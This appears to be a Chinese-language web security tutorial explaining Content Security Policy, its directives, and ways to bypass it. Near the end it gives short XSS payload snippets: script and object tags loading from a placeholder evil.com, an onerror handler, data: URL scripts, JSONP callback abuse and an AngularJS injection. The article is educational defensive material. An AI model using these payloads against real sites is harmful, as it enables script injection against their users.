/ Web安全

Bypass内容安全策略CSP

0x01 CSP

CSP全称是内容安全策略,可以阻止和减缓XSS和数据注入攻击
CSP通过可信域的方式来实现对内容的控制,类似于同源策略
通过禁止内联脚本并仅允许可信域作为外部脚本的源,通过这种方式限制站点执行恶意客户端的代码。因此,即使攻击这发现了xss漏洞,CSP也可以保护应用程序的安全,攻击者不能在不控制可信主机的情况下加载恶意代码。

0x02 定义方式

通过HTTP头或者meta标签来定义

如:

header("Content-Security-Policy:default-src 'none'; connect-src 'self'; frame-src 'self'; script-src xxxx/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs=';font-src xxxx/fonts/ fonts.gstatic.com; style-src xxxx/css/ fonts.googleapis.com; img-src 'self'");

HTML Meta :

<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

简单的例子来看CSP起的作用,还是上面的CSP策略,有一个frame-src 'self';(貌似现在csp level3已结改成了child-src)
测试代码

<?php header("Content-Security-Policy:default-src 'none'; connect-src 'self'; frame-src 'self'; script-src http://xxxx/js 'sha256-T32nlLrKkuMnyNpkJKR7kozfPzdcJi+Ql4gfcfl6PSM=';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'") ?>
<!DOCTYPE html>
<html>
<head>
    <title>Test CSP</title>
</head>
<body>
    <iframe src="http://baidu.com"></iframe>
</body>
</html>

可以看到浏览器阻止了frame加载非self的资源,这就是CSP所起到的作用。
所以如果存在一个存储型的XSS,由于限制了资源只能加载self的话,利用会受到限制,但是还是可以结合CSRF利用

0x03 指令参考

指令 说明
default-src 定义资源默认加载策略,默认全为self,如果再出现其他指令会覆盖defalt的设置
connect-src 定义 Ajax、WebSocket等加载策略;限制了可使用的脚本加载的url,会阻止a的ping属性,也控制着websocket的连接
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义 audio、video 等引用资源加载策略
object-src 定义 applet、embed、object 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
child-src 定义嵌套浏览的部分(类似于iframe frame标签)
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志
unsafe-inline 允许内联脚本
unsafe-eval 会允许下面几个函数
eval()
Function()
setTimeout()
setInterval()

0x04 Bypass

bypass csp的几个点
有一个google团队对CSP的现状和展望的研究,写的很有价值,其中对于CSP现状研究发现:

现在的策略中90.63%可以包含通过允许执行内敛脚本或从任意外部主机加载脚本。而只有9.37%的策略具有更严格的配置,甚至防范着潜在的XSS。但是,我们发现,只有51%的这类策略仍然可以绕过,因为在script-src中存在微妙的策略配置错误或不安全的站点;

主要一个是unsafe-inline这个目前在CTF中见到的最多,允许内联,再结合CVE-2017-5033(open函数)、link标签即可bypass
另外一个 关注 xxx-src: * 这种无限制的
关于chrome没有对link标签预加载做控制,但是目前使用chrome 59未能复现成功,预加载属性有Preconnect、DNS-Prefetch、prefetch、prerender等
这种情况是最常见和最易利用,细分为三种情况

1.1

bypass CSP 当script-src和object-src未定义时
<script src="//evil.com"></script>
<object data="//evil.com/evil.swf">
<param name="allowscriptaccess" value="always">
</object>

1.2

当定义了unsafe-inline或者data: URLs或者结合预加载
<img src="x" onerror="evil()">
<script src="data:text/javascript,evil()"></script>

1.3

当攻击者可以控制返回的bypass方式
<script src="/api/jsonp?callback=evil"></script>
<script src="angular.js"></script> <div ng-app>
{{ executeEvilCodeInUnsafeSandbox() }} </div>

目前还找到了其他的各种利用方式比较繁琐的方式:

通过gif来bypass
demo: http://html5sec.org/cspbypass/
但是我看到有人对于复现这个洞时发现了一个问题,不得不去怀疑这个洞是否真的存在

通过浏览器缓存bypass CSP script nonce
script nonce是google团队提出的nonce-{random}的csp实现方式
连接地址:http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

结合CRLF更改CSP策略

0x05 题外话

CVE-2017-5033 一个chrome的CSP漏洞 版本为57
前端沙盒(建立空的iframe执行脚本,该iframe无法操作当前文档对象模型)

参考链接

Content Security Policy Level 3

CSP策略

Google CSP Study

CSP Level 3浅析&简单的bypass